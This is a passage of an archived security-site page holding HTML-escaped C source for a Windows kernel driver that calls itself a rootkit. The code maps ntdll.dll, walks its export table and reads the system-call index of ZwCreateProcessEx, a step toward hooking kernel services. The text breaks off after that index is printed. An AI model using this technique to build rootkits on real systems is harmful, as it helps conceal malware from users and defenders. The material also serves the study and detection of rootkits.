783.html

里面收集的是发表在www.xfocus.org上的文章

ULONG StackZeroBits; <br />
ULONG StackReserved; <br />
ULONG StackCommit; <br />
ULONG ImageSubsystem; <br />
WORD SubsystemVersionLow; <br />
WORD SubsystemVersionHigh; <br />
ULONG Unknown1; <br />
ULONG ImageCharacteristics; <br />
ULONG ImageMachineType; <br />
ULONG Unknown2[3];<br />
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;<br />
<br />
DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName) <br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hThread, hSection, hFile, hMod;<br />
&nbsp;&nbsp;&nbsp;&nbsp;SECTION_IMAGE_INFORMATION sii;<br />
&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_DOS_HEADER* dosheader;<br />
&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_OPTIONAL_HEADER* opthdr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;IMAGE_EXPORT_DIRECTORY* pExportTable;<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD* arrayOfFunctionAddresses;<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD* arrayOfFunctionNames;<br />
&nbsp;&nbsp;&nbsp;&nbsp;WORD* arrayOfFunctionOrdinals;<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD functionOrdinal;<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD Base, x, functionAddress;<br />
&nbsp;&nbsp;&nbsp;&nbsp;char* functionName;<br />
&nbsp;&nbsp;&nbsp;&nbsp;STRING ntFunctionName, ntFunctionNameSearch;<br />
&nbsp;&nbsp;&nbsp;&nbsp;PVOID BaseAddress = NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;SIZE_T size=0;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;OBJECT_ATTRIBUTES oa = {sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE};<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;IO_STATUS_BLOCK iosb;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;//_asm int 3;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZwOpenFile(&amp;hFile, FILE_EXECUTE | SYNCHRONIZE, &amp;oa, &amp;iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;oa.ObjectName = 0;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZwCreateSection(&amp;hSection, SECTION_ALL_ACCESS, &amp;oa, 0,PAGE_EXECUTE, SEC_IMAGE, hFile);<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZwMapViewOfSection(hSection, NtCurrentProcess(), &amp;BaseAddress, 0, 1000, 0, &amp;size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE); <br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZwClose(hFile);<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;hMod = BaseAddress;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;dosheader = (IMAGE_DOS_HEADER *)hMod;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader-&gt;e_lfanew+24);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr-&gt;DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;// now we can get the exported functions, but note we convert from RVA to address<br />
&nbsp;&nbsp;&nbsp;&nbsp;arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable-&gt;AddressOfFunctions);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable-&gt;AddressOfNames);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable-&gt;AddressOfNameOrdinals);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Base = pExportTable-&gt;Base;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;RtlInitString(&amp;ntFunctionNameSearch, lpFunctionName);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;for(x = 0; x &lt; pExportTable-&gt;NumberOfFunctions; x++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlInitString(&amp;ntFunctionName, functionName);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; // always need to add base, -1 as array counts from 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// this is the funny bit.&nbsp;&nbsp;you would expect the function pointer to simply be arrayOfFunctionAddresses[x]...<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// oh no... thats too simple.&nbsp;&nbsp;it is actually arrayOfFunctionAddresses[functionOrdinal]!!<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (RtlCompareString(&amp;ntFunctionName, &amp;ntFunctionNameSearch, TRUE) == 0) <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ZwClose(hSection);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return functionAddress;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZwClose(hSection);<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
NTSTATUS<br />
OnStubDispatch(<br />
&nbsp;&nbsp;&nbsp;&nbsp;IN PDEVICE_OBJECT DeviceObject,<br />
&nbsp;&nbsp;&nbsp;&nbsp;IN PIRP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Irp<br />
&nbsp;&nbsp;&nbsp;&nbsp;)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;Irp-&gt;IoStatus.Status&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= STATUS_SUCCESS;<br />
&nbsp;&nbsp;&nbsp;&nbsp;IoCompleteRequest (Irp,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IO_NO_INCREMENT<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br />
&nbsp;&nbsp;&nbsp;&nbsp;return Irp-&gt;IoStatus.Status;<br />
}<br />
<br />
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint(&quot;ROOTKIT: OnUnload called\n&quot;);<br />
}<br />
<br />
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;int i;<br />
&nbsp;&nbsp;&nbsp;&nbsp;UNICODE_STRING dllName;<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD functionAddress;<br />
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;position;<br />
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint(&quot;My Driver Loaded!&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;theDriverObject-&gt;DriverUnload&nbsp;&nbsp;= OnUnload; <br />
&nbsp;&nbsp;&nbsp;&nbsp;RtlInitUnicodeString(&amp;dllName, L&quot;\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll&quot;);<br />
&nbsp;&nbsp;&nbsp;&nbsp;functionAddress = GetDllFunctionAddress(&quot;ZwCreateProcessEx&quot;, &amp;dllName);<br />
&nbsp;&nbsp;&nbsp;&nbsp;position = *((WORD*)(functionAddress+1));<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint(&quot;Id:%d\n&quot;, position);<br />